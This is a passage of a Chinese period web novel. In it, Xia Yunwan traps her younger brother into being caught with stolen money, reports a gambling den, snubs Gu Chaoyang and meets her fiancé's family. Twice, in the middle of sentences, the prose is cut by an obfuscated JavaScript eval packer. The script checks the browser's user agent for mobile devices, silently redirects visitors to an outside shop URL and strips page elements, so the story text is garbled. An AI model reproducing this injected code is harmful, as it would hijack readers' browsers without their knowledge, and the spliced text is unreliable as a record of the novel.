言罢，夏云婉也不再犹豫，抬腿迈步直接走向了外面的公交站点。 再多待两秒，她是真怕自己露馅。 一天干两件坏事，夏云婉虽然多少有些心虚，但里外里又觉得是他们理所应当。 她走后，夏云朵才不顾脸面地追上来。 “夏云婉又跟你说什么了？顾朝阳同志，你别搭理她，她就是这种没有情义的人。” 可顾朝阳却心里有股执念。 他不信前几天夏云婉对他的温柔小意是假的，那送的饭都是焐热乎的送过来，俩人聊天夏云婉还会时不时脸红，这样的状态，自己怎么都不信那里面没有半点真心。 “没说什么，夏云朵同志，我明天要回老家一趟，今天得去给家里买点东西，要不咱们改天再见呢？” 夏云朵嗯了一声，又道：“我下周就来上班了，到时候咱们可以天天见面，顾朝阳同志，我觉得人要向前看，过去的就让她过去吧，咱们都要珍惜眼前人才行，你觉得呢？” “我觉得也是。”顾朝阳随口敷衍道。 “那、那我以后就喊你名字吧，咱们也别这么生分了，你喊我云朵，或者云朵妹子都行，我觉得你人还挺好的，咱们年纪相当，做个好朋友，工作上也好互相帮助，生活上……” “行，那云朵妹子我先走了，改天见哈！” 可惜顾朝阳满心都是自己那点执念，不听夏云朵的多说，转头匆匆回了宿舍拿钱准备出门。 夏云朵原地跺了跺脚，但随后还是压住了自己的脾气。 来日方长呢，她肯定能拿下顾朝阳。 - 夏云婉赶在八点前到的家。 正好撞见家里在吃早饭。 昨天嚣张跋扈的夏宝金看见夏云婉后，第一时间居然是心虚的低下了头。 “工作交接好了？”张艳红问。 “好了。” “那坐下吃口饭吧，往后想再吃你亲妈做的饭就难了。” “嗯。” 张艳红见夏云婉异常安静，只当她是要出门子心里多少有些不 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张艳红护着夏宝金：“行了行了，夏云婉，你就不能让家里安生一天，这些天来全是因为你闹出来的事儿。” 夏云婉：“我东西丢了还不能问问了，就放在外面堂屋，怎么就能一下子不见了？” 张艳红想起昨天，气不打一处来，“那谁知道去，几块儿吃的昨天看你抠搜的，你咋不直接藏被窝里去，还能一直焐热也丢不了。” 夏云婉佯装憋气，上前又翻了翻家里盖东西的塑料罩子，翻了两下后，又像是突然想起了什么，摸了摸兜，又去屋里找了两圈，最后脸色瞬间苍白下来。 “坏了，我钱丢了！” “丢啥？”张艳红皱起眉，“什么钱？” “就昨天陆家大姑姐给的另外一百块钱啊！” 夏云婉急的直拍大腿，“昨天下午去跟她逛成衣店，我想着人家毕竟都给出工业票了，我总不好再让大姑姐花钱，所以顺手就把给的钱捎带着了，我身上也没兜，正好又卖了烧麦，我看油纸包外面的牛皮袋结实，就把找的零钱暂时塞了进去，昨晚上我让念金去放的时候忘拿出来，念金，我是不是让你把牛皮袋也给放堂屋了？” “对，是有个牛皮袋！”夏念金肯定的点头。 张艳红脸色也有些差，“那袋子不是被宝金撞破了吗？” 夏云婉摇头：“上面撕开一个破口，下面的底好好的呢，妈，咱家又没有外人进来，你赶紧问问宝金吧，那零钱还有九十五块钱呢，这可不是个小数目！” “我不知道！凭什么有事儿都找我，我不知道你们说的是啥！！” 夏宝金尖叫一声，脸色有些紧张，握紧了拳头冲进了卧室躲起来，门也被嘭一声关了。 夏云婉也冲到了门口：“这可不是一点吃食的问题，夏宝金，你赶紧给我老实交代，到底有没有偷拿那袋子烧麦，牛皮袋最下面用塑料袋裹着的就是钱，你要是看到赶紧给我拿出来。” “不是我，我不知道——” 屋里传来夏宝金的尖叫声。 张艳红脸色也不好：“你脑子是进水了？那么多钱你也能忘！宝金都说不知道了，你自己再好好想想，是不是放别的地方又给忘了。” 夏云婉摇头：“念金看着呢，我早上所有东西都收拾了一个遍，如果在其他地方那早就找到了，要是咱家里人都没看见，那只有一个可能，就是家里进贼了。” “我看就是宝金这个小偷。”夏念金嘟囔道：“昨天夜里我上茅厕，就好像听见外面有窸窸窣窣的脚步声。” “哪儿有污蔑自己弟弟是小偷的。”张艳红瞪了一眼夏念金。 夏云婉：“那妈的意思就是进贼了呗，那这钱数额太大了，得报公安才行！” 夏念金蹭地蹿到了门口，快的跟要跟谁百米赛跑一样，兔子似的往外面冲。 “二姐你等着，我去街道找公安！！” 14. 第 14 章 夏念金一直以为自己还算是个不错的姐姐。 不过那是之前了。 从父母口中知晓自己名字的来历后，她就一点也不想当这个姐姐了。 她想做女儿，想做妹妹。 而障碍就是——夏宝金。 夏念金生怕自己迟疑半秒就会被大人给拦住，鞋底子都要给磨出来火花一样的朝外面奔。 “这夏家三丫头干啥呢，家里失火了？” “我去街道找公安——” 夏念金又嚎了一句，声音又响亮了几分，别说毛纺厂家属院了，对门跟隔壁几个院子，也都有听见了，纷纷探头出来看热闹。 报公安？ 这是家里出大事儿了吧！ “丫头，咋回事儿啊，家里进贼了？” “丢钱了——” 最后留下个信儿，再也没见夏念金的影子。 但这就足够了，遭贼的话传出去，消息立马在整条街道不胫而走，议论着围到了夏家门外面。 夏贵仓每逢周末，上午一般都不在家，家里大人就一个张艳红，这会儿正站在门口跟夏宝金说好话让他开门，夏宝金在听见夏云婉说报公安以后安静了一会儿，这会儿赌气一样的在屋里砸东西。 “夏宝金！！”张艳红听里面动静大起来也恼火了：“你敢把屋子都砸了，等你爸回来准饶不了你！” 夏云婉在旁边慢悠悠的劝着：“是啊宝金，你既然都说了没有偷拿东西，那就大胆出来呗，等会公安同志来了，让公安同志好好调查调查咱们家里，看有没有那小偷的踪迹。” 院子里，郭大娘带头凑到了门口：“咋回事儿啊云婉他娘，听见你家三丫头说是遭贼了？” 张艳红皱起眉喘了口气：“别听那丫头瞎说，我没拦住她才让她给跑出去的，什么贼不贼的，就是家里几个孩子说着玩呢。” “妈，这咋能是说着玩呢，我九十多块钱就放到牛皮纸袋里不见了，一晚上家里都说没人碰，那可不就是遭贼了！”夏云婉大声辩解道。 “万一就是你乱放放丢了呢？又或者……家里谁给不小心拿到别的地方去了，你那袋子里上面放的是吃食，谁知道下面有钱？” “那你的意思也是怀疑宝金呗。” “……我没有。” “那我就问一句，如果不是宝金，他为什么非得躲屋里不出来？” 张艳红瞪了一眼夏云婉，刚要开口反驳，可余光瞥见紧闭的卧室门，登时又有些心虚，随后眼神闪烁着看向了旁边。 她的儿子她了解，昨儿宝金确实是馋那两口烧麦，昨晚上宝金自己起夜上厕所，她也听见了外面牛皮纸袋的响声。 宝金是跟着他们两口子睡的，回屋后，张艳红直接就问了夏宝金是不是偷吃了夏云婉放到堂屋里的烧麦，夏宝金当时也承认了，张艳红怕第二天起来家里又吵吵闹闹，干脆就跟夏宝金约定好这事儿别往外面说，不过是两口吃食，吃了也就吃了，反正夏云婉明天就要走了，说不定也没多余的工夫计较。 夏云婉比张艳红要高一些。 她抱着胳膊，将张艳红低头后的神情全看在了眼里。 从前在讲台上，她就习惯了看学生表情来推测他们在想什么。 这表情一看就是在心虚，而且还可能瞒着什么事儿。 如果是学生，大概率是要偷吃零食了，但现在换成了张艳红，夏云婉很难不怀疑是不是她跟夏宝金同流合污的。 好家伙，亲妈带着偷东西还帮忙隐瞒，这种教育，孩子能有好的才怪了！ 郭大娘也忍不住翻了个白眼，“你们家一天天的咋全是乱七八糟的事儿，现在连小偷都有了，我看云婉说的有道理，你要是也怀疑你儿子，就赶紧把人拉出来说清楚，不然等公安来了，够你儿子喝一壶的！” “就是啊，这偷钱可不比别的！” “他家那个夏宝金，平时就没少干坏事儿，上次还撺掇着我儿子去泼人粪水，太可恶了！” “呦，就是你儿子啊……” 议论声中，张艳红也急了，但她门还没敲开，公安就已经先一步来了。 夏念金跟在两名街道上的公安同志后面，仰着下巴，神气地冲夏云婉又比了‘ok’。 这么多天，夏云婉还是头一次看夏念金有这样调皮的表情，忍不住低头笑了笑。 “公安同志麻烦你们跑一趟了，这，这就是家里的一点事儿。”张艳红有些着急的开口。 “胡闹呢，到底有没有丢钱？”公安皱起眉问。 “丢了。”夏云婉抢着开口，“九十四块六毛五，本来就在堂屋放着呢，我跟我小妹都有印象，结果早上就是不见了。” 没有张艳红再解释的份儿，公安很快了解完情况，简单商量一下后，决定先检查一下夏家整体有没有可疑情况。 与此同时，那扇夏宝金反锁的门，也被其中一名公安同志拿了个别针轻松划开。 “这么厉害，公安同志，您还有这本事呐。”夏云婉头一次见这种电视剧里的场面，下意识的夸赞道。 开锁的公安收起别针，含着笑看向夏云婉：“锁头都老化了，这种玩意我们还能开的，附近谁家钥匙丢了，也都可以找我们。” 夏云婉立刻表示了敬意，忙又给两位同志比了个大拇指。 卧室里，夏宝金还在哭着，一边哭一边朝着门口砸东西。 平时胡闹就算了，眼前可公安，张艳红吓得连忙上前一把将夏宝金给按到了怀里。 “你跟妈说实话，到底有没有见到你二姐的钱？” “没、没有呜呜呜……” 张艳红看看在客厅里搜查的公安和已经要进卧室搜查的公安，使劲咬了咬牙，下了什么决心一样，握住了夏宝金的肩膀。 “公安都来了，夏宝金你赶紧说实话，昨天晚上你跟我说只是把烧麦偷吃了，牛皮袋你放哪儿去了？” “原来张艳红知道啊！”郭大娘啧了一声。 “头一次见纵着自己孩子偷东西的妈。” “害，没看他家都把孩子惯成什么样子了，公安来了都不怕，将来指不定咋样呢！” 夏宝金已经不是委屈的哭了，他是害怕的哭。 越是害怕，真话就越不敢说出口。 “我不知道呜呜呜呜，我就是吃了两口烧麦，我什么都不知道……” “不知道那就是真有贼。”夏云婉看了眼乱糟糟的卧室，“公安同志，你们可得好好检查，不然这个贼踩了点，往后附近的家属院都有可能被偷。” “你少说两句吧！”张艳红气地又瞪了一眼夏云婉。 “妈，我是受害者啊，我可比你们都着急。” “这是什么？” 说话间，进卧室的公安已经看到了衣柜顶上露出来的一个铝皮盒子。 那盒子不知道是有人身高不够还是故意为之，斜斜的放在柜子边缘，稍微抬起头就可以看到。 “不许动我的东西！”刚才还哭着的夏宝金急了，冲过去摇晃公安站着的椅子。 公安皱起眉，瞪了张艳红：“看好你家孩子。” 张艳红也心知不妙，连忙拉着夏宝金作势要打。 盒子被顺利取下来，打开一看，不出意外的就是夏云婉‘意外’丢的那笔钱。 夏念金在后面长舒了一口，随后底气更足了。 夏念金：“这就是我二姐的钱，上面还沾着烧麦味儿呢！夏宝金，还撒谎说不是你拿的，如果不是你偷的，还能是爸妈偷了藏起来的吗？” 张艳红平时护子心切，如今一听这话，生怕牵连到自己，着急的摆手，“怎么可能是我？！警察同志，天地良心，昨晚上黑漆漆的，我听见我儿子是去拿了牛皮袋，但他跟我说只吃了里面的烧麦，钱的事儿我是一点也不知道啊！” 两名公安同志对视了一眼，神色都严肃下来。 “夏云婉同志，这的确是九十四块六毛五，你先来瞧瞧，确定下是不是你的钱。” 一番检查。 “是我的。” 随后公安又走到夏宝金面前，伸手按住了他的肩膀。 哭哭啼啼的夏宝金没了张艳红保护，吓得连哭声都噤住了。 “跟叔叔说实话，到底是不是你拿的？” “……” “这是你最后的机会，夏宝金小朋友，如果是你拿的就点点头，告诉我们是怎么回事儿，否则就只能让你妈妈带你去一起公安局走一 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公安同志走到夏云婉面前，　“既然是在你家找到的，那这事儿要处理，简单的话就是协调沟通解决，可以让对方写道歉信，公开道歉什么的，如果麻烦点，你要是愿意可以一起去公安局做个笔录，随后怎么解决我们再进一步商讨。” “云婉！” 夏云婉不理会张艳红，接过钱直接道：“公安同志，我等会儿就要走了，可能也没什么时间做笔录。” 张艳红立刻松了口气，拍拍胸口颇有几分欣慰。 但夏云婉的话还没说完。 “那你是要他道歉是吗？”两名公安又互相看了一眼，都多少有些遗憾。 “不，我申请让我弟去少管所接受教育。” “……夏云婉你疯了？！”张艳红尖叫一声站起来。 夏云婉侧目扫了一眼夏宝金，继续正色道：“两位同志跟家属院的邻居们也都看到了，我弟弟才八岁就已经做了这么多的坏事儿，甚至到了偷钱、打砸公安的地步，这种情况如果再不加以制止，以后更不得了，况且我如果这次放过了夏宝金，也是对邻居们的不负责，对社会的不负责。” “说的有道理。”刚才跟夏云婉聊了两句的公安点点头，“这孩子问题确实有些严重了，而且我看你们父母……似乎也没有这个教育的能力，去少管所一段时间，对他也有好处。” 张艳红肯定是护着儿子的。 但事已至此，在公安面前她也不敢太放肆，哪怕中间夏贵仓回来跟夏云婉道歉，夏云婉也依旧没有改变自己的决定。 “我们会联系少管所明天过来接人的，教育时间根据孩子情况判定，三个月到一学期不等，期间不许回家，告辞。” 在夏贵仓她们一家三口黑沉的脸色中，夏云婉拎起自己收拾好的包裹，跟在公安同志后面一起出了门。 “二姐，等我一下。” 夏念金追了出来，“不是还有时间吗，你走的也太急了。” “再晚会儿我怕他俩又跟我吵起来，你还有事儿？”夏云婉低头问道。 夏念金嗯了一声，“二姐，我今天……表现的好吧？” 今天很多话是昨晚上夏念金跟夏云婉提前演习好的，早上夏云婉出门，也是夏念金留下来负责以打扫卫生的名义，去屋里盯梢夏宝金，同时检查那笔钱到底有没有在夏宝金手里，防止被他转移走。 夏云婉一开始并不想这么‘钓鱼执法’的，但夏宝金几次三番挑衅自己，况且如果他没有这个贪念，那钱也会被藏起来，只能说他是咎由自取。 “哈哈。”夏云婉笑了出来，迟疑了一下，伸出手揉揉夏念金的脑袋瓜，“今天表现打一百分，你有当侦探的天赋。” “侦探？是公安吗？” “差不多，以后你会明白的，快回去吧，记得晚上睡觉收拾一下床铺。” “嗯！”夏念金只当是姐姐临走前随口的叮嘱，重重的点头，随后还想依依不舍道别，再看过去，二姐已经转身走远。 离开之前，夏云婉还有最后一件事要办。 “公安同志等一下！” 夏云婉追上前面的两名公安，气喘吁吁的拍拍胸口，“我还有一件事情要举报，这片街道，有人私底下聚众打牌赌博！” 15. 第 15 章 每到周末，家属院里基本都找不到夏贵仓的身影，严重时候，整天都不见人，就像今天，如果不是闹到警察都来了，夏贵仓肯定又是到晚上才回家。 原身从前没怎么关注过这事儿，但夏云婉来了后却留了心，前前后后听张艳红提了三四次，拼凑一下，就能猜出个大概来。 既然张艳红对此深恶痛绝，那临走前，夏云婉身为她从前最‘喜欢’的女儿，当然要帮上她一把。 “家属院街后面有个防空洞，早些年被人拿来当地窖用，后面因为不安全就彻底废弃了。” “知道赌博金额吗？” 夏云婉摇头：“具体不清楚，不过应该不大，附近也没有这种大户。” “那可难说，赌博上头的人，不管兜里有没有钱都敢搏一把。” “对了警察同志，今儿你们一来，他们得了消息肯定散了大半，最好等下周末了再查，打他们一个措手不及。” 公安笑了出来：“线索我们接了，这周先摸底蹲点，至于什么时候动手我们心里有数。” “那是，公安同志都是专业的。” “你觉悟挺高的，有事儿了还可以随时联系我们，再见。” 夏云婉出来的时候看着时间，走出巷子没多久，就瞧见了来接她的陆楠。 河岩市是省份里最大的城市，北临山脉，东西间由一条宽阔的眀径河分隔开，六十年代后期，才开始扩大城市面积往西部发展。 东西间想要通行有两种办法，一是客运船，四十分钟左右就能到达岸口，二是公交车走旱路，但要绕远，足足要走两个小时才能到。 因为郭玉芬昨天晕船了，她们今天决定坐公交车。 郭玉芬怕自己又晕车，坐上去就直接转头睡了，陆楠跟夏云婉坐在一起。 途径河岸边的马路，夏云婉望着宽阔的河流，也看见了中间那些已经架设起来的钢筋。 陆楠跟着看过去：“等桥建设起来，往返路程就快多了，估计二十分钟就能过河，到时候你回娘家也方便。” 她才不乐意回来呢。 哪怕那个陆霖川不跟自己领证，好歹也得让他把当时答应给夏云朵介绍的工作，再介绍给自己才行。 至于娘家，什么时候奔丧，她倒是可以回来看一眼。 天仍是热的，夏云婉打开窗户，正好瞧见司机后视镜里，越来越远去的公交站。 这会儿，顾朝阳应该已经到了吧。 - 顾朝阳到的时候，一辆要过河的公交客车正好出站。 他站在门口等车出站，心里焦急着，忍不住低声咒骂了一句。 今天中午，他又是翻了俩钟头没睡。 翻来翻去，他反而想明白一个道理。 夏云婉这娘们，跟拿他当乐子有什么区别？ 之前高兴了就把他哄的以为俩人要处对象了，不高兴了，扭脸不认人，翻脸比翻书都快。 自己逮着她问两句话，又是摆脸色又是卖关子，今儿还非得让他来这里，这不是作弄人是什么？ 可偏偏。 顾朝阳还是来了。 不仅来了，一路上还抓心挠肝的想赶紧见到人，赶紧问个清楚。 夏云婉真是在单纯作弄自己？ 可她从小就老实。 而且顾朝阳也不信自己一点魅力都没有，不然怎么又把夏云朵给迷的倒贴上来找他说话？ 早上那股风，不只是吹到了夏云婉的发丝上，还吹到了顾朝阳的心里头。 急。 眼瞧车出站了，顾朝阳三步并作两步的进了站点里面。 是十点没错，夏云婉怎么还没来？ “同志，你是顾朝阳吗？” “是我。”顾朝阳猛地转身，抓住说话的门岗打扮的工作人员，“是不是有个女同志让你找我过去。” 也许夏云婉身边有婆家的人在，所以要小心一点。 想到这里，顾朝阳心里更觉刺激，眼神也越发急迫。 “对。” “她在哪儿？” 工作人员挣脱开顾朝阳的胳膊，揉了揉才皱眉道：“那女同志说如果是煤矿厂工装打扮的来找人，就让我跟一个叫顾朝阳的传句话，她说她就是把顾朝阳当普通的同学而已，去过煤矿厂也主要是想去提前看看工作环境。” “……啥？！” “什么啥，就这些了，我任务完成，再见。” 顾朝阳又拉住他，“大哥，就这几句话？没别的了？她现在在哪儿？你带我去见她！” 工作人员逐渐明白了什么。 真男的八成是缠着人家女同志不放，想癞蛤蟆吃天鹅肉呢。 “早就走了，没走我也不知道啊，同志，你再跟我动手动脚，我可不跟你客气了。” 顾朝阳猛地松开手，神情有些无措的愣在了原地。 工作人员又多看了他一眼。 怎么跟魔怔了一样。 算了，反正他说句话白拿五分钱，其余的跟自己可没关系。 公交站人来人往，片刻后，顾朝阳才像是惊醒了一样握紧了拳头锤到旁边的座椅上。 他娘的。 狗屁的感情。 夏云婉就是在作弄自己！ - 夏云婉并不觉得自己有问题。 据书中女主回忆，顾朝阳前世跟原身结婚后日子过的并不好，先是被冷暴力，后顾朝阳发达又在外面有了小三小四。 这男人本质上就不行。 就算是这一世，他一个大男人，明知道原身在家里日子过的并不容易，还几次三番的哄着原身去给他送饭吃。 这年头粮票金贵着呢，顾朝阳骗饭吃跟骗钱有什么区别？！ 不过这次应该算是彻底把顾朝阳这个大男主给得罪了，就是不知道自己这么一打岔，他那份原书中的机缘还能不能拿到手。 书中顾朝阳前期起势凭借了两个机遇。 一个是跟重生归来的夏云朵结婚，他拿到了城市户口，可以把工作转正。 二是在六月二十八号，也就是今天，煤矿厂副厂长去视察工作。 周日停工，工人们都不在，今天副厂长过去，主要也是为了带着技术工去检测工具的。 也正是因为人少，当副厂长一不留神掉到后面一处遮挡板断裂的山洞里面时，只有恰好回矿洞拿胶鞋的顾朝阳看到了这一幕，第一时间赶过去把副厂长给救了出来。 书中顾朝阳一眼就看到了副厂长身上戴的工牌，他为了表现自己也不去喊人，故作着急的样子又是递绳子又是找升降板，等其他人听见后赶过来，他又第一时间下洞，帮着把人给救了出来。 虽然当时副厂长只是表达了感激之情，但事后，很快迎来了一次人员变动，正巧顾朝阳也跟夏云朵结了婚，拿了城市户口，副厂长为报答恩情，直接将顾朝阳调任到了厂车间做了主任。 夏云婉不知道具体是二十八号的几点，但这么一打岔，顾朝阳原定的计划时间线上肯定要受到影响。 ‘轰隆——’ 路程未过半，天空突然传来一声巨响。 “打雷了。”陆楠皱眉看了一眼窗外。 夏云婉伸手关窗户关到一半，雨就已经跟瓢泼一样落了下来。 ‘啪嗒啪嗒’，起初雨滴落在地面，就好像是被重重砸下来似的，随后便是倾盆大雨。 “本来就是土路，这下雨更难走了。”陆楠看了眼外面，有些担忧的道。 夏云婉：“估摸要走三个小时了，要不先休息会儿。” 陆楠诧异，“你不害怕？” “怕什么？” 陆楠笑了笑，“昨儿听你说你还是头一次出远门吧， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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陆楠：“今天到了在家里休息一天，明天我送你一起上岛，那天打电话，霖川说他要暂时出个任务不在，所以我先过去陪你两天。” 夏云婉一怔。 “没事儿，去了我带你熟悉熟悉环境，家里有个小丫头挺可爱的，五岁了叫陆悦，她肯定喜欢你……” 陆楠说了许多，夏云婉听完却问了个不相干的问题。 “姐，这样的天气，陆霖川还出任务吗？他的任务应该是在海上吧。” 陆楠嗯了一声，“他的任务涉及到边防巡逻跟日常各种检查，具体的我也不懂了，等到了你可以问问他。” “好危险啊。”夏云婉耳边再次炸开一声雷鸣，她舒展清秀的眉间微微蹙起，“不知道在海上遇到这种天气要怎么应对。” 雨声吵醒了郭玉芬，她看了眼夏云婉，淡淡感慨，“霖川有福气了，这孩子还没见面就知道心疼人了。” “……啊？”夏云婉还没怎么反应过来。 其实她的担心只是下意识的，毕竟她知道自己要面对是一名军人，这种华国人血脉中自带的感情，让她第一时间想到的就是陆霖川的安全问题。 可听了郭玉芬这话，她才意识到自己此刻是不是应该表现的害羞一些…… 但又不怎么害羞的起来。 她虽说是冲着结婚去见面的，可心里也清楚至少有八成几率陆霖川会跟自己说明清楚然后送她离开。 她又不是夏云朵，会不要工作，为了留下硬闯陆霖川的房间。 陆楠抿嘴笑笑，“妈，你这话再说云婉要不好意思了，云婉你不用担心，这天只是下下雨，霖川他们都是有经验的，在海上也没什么可怕的，而且就算是碰上台风天，也有应对的办法。” 她这话是想让夏云婉宽心。 但夏云婉听完却宽不了一点。 台风天？ 天啊，那海上的情况不是更加危险。 16. 第 16 章 暴雨来得快去的也快，只下了约摸二十来分钟。 但路面已经泥泞，仍旧多走了半小时才终于到了东市区的公交站，转车后，又坐了大概十几分钟，这才到了陆家。 陆父从军后，似乎跟着部队做后勤工作的，五十年代安定下来，从部队转业出来，改做了大厨，如今已经退休。陆家房子是当年陆父转业时赶上部队赶制，这才买下了这一处从前是军属院的二层小楼。 周围像这样的房子还有一排，远远立在巷子最里侧，看起来条件就比前面的平房好很多。 郭玉芬余光看了一眼夏云婉：“云婉，去了以后也不用太拘束，外面瞧着有排场，其实咱这也就是普通家庭，我家老陆，也就是你陆叔叔，转业后做的厨子，日子比上不足比下有余，条件也就算勉强过得去，这家里几个孩子长大了，都是靠自己在外面工作的，你跟霖川结婚的钱算我们做长辈的最后一点帮助，你也尽快去岛上，等领着证啊，好好在那边过日子。” 她的话仍旧直白。 但牵扯到利益，说的倒是比之前都委婉些。 言外之意，无非就是提前警告夏云婉往后完事靠自己，别以为陆家有排场，就指望婆家帮忙。 夏云婉还没开口，陆楠先瞅了一眼郭玉芬，“妈，这还没进家门你就给下马威？” 郭玉芬说话直，陆楠就更直。 她跟陆霖川不同，她是从小一直跟在陆建安身边的，看着陆建安又娶了这个后妈，这么多年相处下来，多得是对付郭玉芬的办法。 这样的人，你拐着弯说话，对方说不定还听不懂，不如直截了当些。 郭玉芬闻言果然面色有些尴尬，收敛了几分，“我这也是为了勉励你们这些孩子。” 陆楠：“勉励也不是这么勉励的，说的好像以后不来往了似的，太不近人情了。” “我可没这意思。”郭玉芬讪讪解释。 夏云婉在旁听着，忽然问：“我记得昨天听大姐说，家里还有个弟弟吧？” “有啊，我儿子陆红星，年纪轻轻一表人才，有学问有本事，现在是在报社当编辑的，晚点咱们吃饭就能见到了。”说起自己这个亲儿子，郭玉芬来了精神。 夏云婉抿嘴笑笑：“这么优秀，那肯定有对象了吧？” 郭玉芬瞬间更加得意了：“那肯定的，去年刚进报社就有年轻女孩儿追我们家红星，不过我们红星也很挑剔，不是随随便便拉一下女孩儿来就能处对象的，现在年轻人流行自由恋爱，这不，去年年底就给我带回家了个女朋友。” “那女同志一定也很优秀吧？” “自然了，彩英这丫头家里父母都是大学的老师，她也是报社的记者，俩人般配着呢。” 夏云婉不动声色，“那结婚也是迟早的事儿了。” “肯定的，我想着年底就给他俩办了。” “那照阿姨刚才的话，他俩结婚以后，家里肯定也没能帮得上忙的了吧，到时候要搬出去住，也不知报社给不给分房子。” “搬出去？不可能，他俩工龄短分不上不说，就算能分上，分的房子住着多难受啊，我儿子到时候跟着……” 话说一半，郭玉芬反应了过来。 陆楠早就听了出来，在旁边笑起来：“妈，你这不是搞区别对待，霖川结婚你就急着说帮不上什么了，到红星这边又心疼的巴不得养在身边，昨天你还跟我说夏家父母偏心眼，你这跟夏家父母不是一样的吗？” “……你这个丫头！” 两天的接触，郭玉芬也意识到夏云婉瞧着说话温和，实则内里是有脾气跟主意的 郭玉芬没好意思瞪夏云婉，只能白了一眼陆楠，“算我刚才说话没考虑好行了吧，我哪儿就偏心了，你摸摸良心说，接了霖川来家里后，我对他不是跟对红星一样的吗？” “是是是，一样一样，反正霖川拢共也就在家里住了两年，最后也不知道谁一听霖川要去参军高兴的连夜帮忙收拾了东西。” “咋了？我帮着收拾行礼还有错？” 陆楠耸耸肩，“没错，您心里有数就行。” “我当然有。” 说话间到了门口，路过的邻居来打招呼，瞧见了夏云婉，刚才还有些尴尬的郭玉芬又抬起下巴骄傲的把夏云婉推到前面，跟人炫耀说他们陆家的儿媳妇儿长的漂亮。 “陆老爷子不是说在乡下的时候定下的娃娃亲吗，这小夏同志看着水水灵灵的，可不像乡下丫头带着土气。” “那肯定的，长得丑我们陆家还瞧不上呢！”郭玉芬得意洋洋拉起夏云婉的手，“瞧这手骨节都是白净的，还有这气质，这身段，还有这屁股……咋样，怎么看都比你家老二刚带回来那个丫头齐整吧？” “诶呦，你不说我也没仔细看，身段得有一米六五了吧，屁股也不小，胸脯还……” 夏云婉：“……” 这下轮到夏云婉尴尬了。 陆楠也不帮着解围，在旁边抿嘴笑了半天。 等客套完进家门了，陆楠这才拉着夏云婉悄悄道：“家里是家里，外面是外面，在外面咱都是陆家人，妈还是很护短的。” “嗯，能理解。” 她在外面护短，在家里自然也护着自己的亲儿子。 家里原是有人的，听见动静，陆建安跟陆丰收从楼上和一楼卧室走了出来。 陆建安微胖，五官端正，看起来还很年轻。 陆丰收满头白发，步态有些蹒跚，看见夏云婉，先是蹙眉凝视了片刻，随后这才满脸笑容走过来。 “你就是小夏吧。” “爷爷好。” “好好好，坐下说话。” 夏云婉挨个打了招呼，跟着陆楠去放了行李才坐下。 陆丰收：“小夏，信上说你爷爷早些年就去世了，那会儿你年纪多大了？” “十岁。” “唉，我跟你爷爷从前在学堂的时候住的一间房，后来他跟着家里进城，我还记得分别时约了以后再一起下棋呢，谁知道他去的竟然这么早。” 夏云婉：“爷爷临走前还笑呵呵的喊我去菜地，他是当天夜里心梗去世，我那会儿小，但听我爸妈说，爷爷没受什么罪。” 陆丰收嗯了一声，有些浑浊的眼神再一次落到夏云婉脸上，定了两秒后，和蔼的笑道：“你爸小时候我还抱过呢，你母亲我倒是没见过，你爸跟你爷爷皮肤都黢黑，你肯定随了你母亲了。” 夏爷爷的事情夏云婉知道的很少，光这些还是她临走前从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943806|192685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏云朵那问来的。 夏云婉毕竟不是夏老爷子的亲孙女，难免有些心虚，后面一些话，都尽量简单作答，有什么不知道的，就用自己当时还小遮掩过去。 陆丰收也是个很慈祥老爷爷，许是见她有些拘谨，笑呵呵的给塞了吃食，转而聊到了陆霖川。 “老爷子，您就甭操您大孙子的心了。”郭玉芬笑着走过来，“这丫头是个知冷知热的，路上就担心起霖川在外面出任务的安全问题了，心软，善良，还漂亮，您这娃娃亲可真是赚了。” 陆丰收抿唇，又一次打量夏云婉。 夏云婉有些不好意思，“我只是下意识的问了一句，毕竟陆霖川同志是军人，我们老百姓以拥军为荣嘛。” 陆丰收神色又温和了几分，随后又简单聊了两句，这才让陆楠去安排夏云婉先休息。 “原本咱俩能住一个屋的，但我儿子下午也过来，他……”陆楠神色有一瞬恍惚，这才又笑着道：“我儿子脾气有些古怪，五岁了还不怎么能开口说话，平日里需要我照顾的仔细些，所以就先把霖川的房间收拾出来了。” 夏云婉跟着过去，“不碍事，反正明天就走的，有个住处就好。” 陆楠：“但出来之前，这屋里我跟妈一块儿都给收拾了一遍，铺盖也都换了，其实霖川从前只在家里住了两年，之后参军十来年，都极少回家，偶尔回来也只住个一两天，屋里没别的东西，你不用担心。” 跟陆楠所说一样，陆霖川的房间除了床跟书柜桌子，别的什么都没有，就连柜子里也空空荡荡，只有两件老汉背心。 ……老汉背心？ “咳咳咳。”陆楠连忙道：“他年轻时候跟着爷爷在乡下住，平日穿这个随意些，他觉得舒服。” 这算是个人穿搭习惯。 夏云婉看着松垮垮的老汉背心，表示不理解但尊重。 “你先休息，等会儿我把饭给热了咱们三个凑合吃一些，晚上爸说了提前开饭，是大餐，特意迎你才准备的。” “好。” 陆楠走后，夏云婉才猛地松了口气，疲惫倒在床上出神的看着头顶的灯棒。 简单接触，夏云婉能感觉到陆老爷子是个很好的人，慈祥温和，跟她亲爷爷差不多。 跟这样一位老爷爷撒谎，她心里多少还是有些愧疚感的。 可能撒谎也是个体力活儿，这样出神想了一会儿，夏云婉不知不觉竟直接睡了过去。 - 武滨岛。 营区通讯室。 “王班长！王班长有115团陆副团长的电话。” 王平顺正打瞌睡呢，被喊醒后头猛地一栽，这才伸了个懒腰。 “陆团出任务去了，后天才回呢，那天不是你值班吧，跟那边说陆团不在就行。” “哦，我知道了，那我去回话。” 通讯兵挂断了陆家的来电后，突然又想起什么，“王班长，今儿这天已经下了两场雨了，我瞧这架势最近不会起台风吧？” 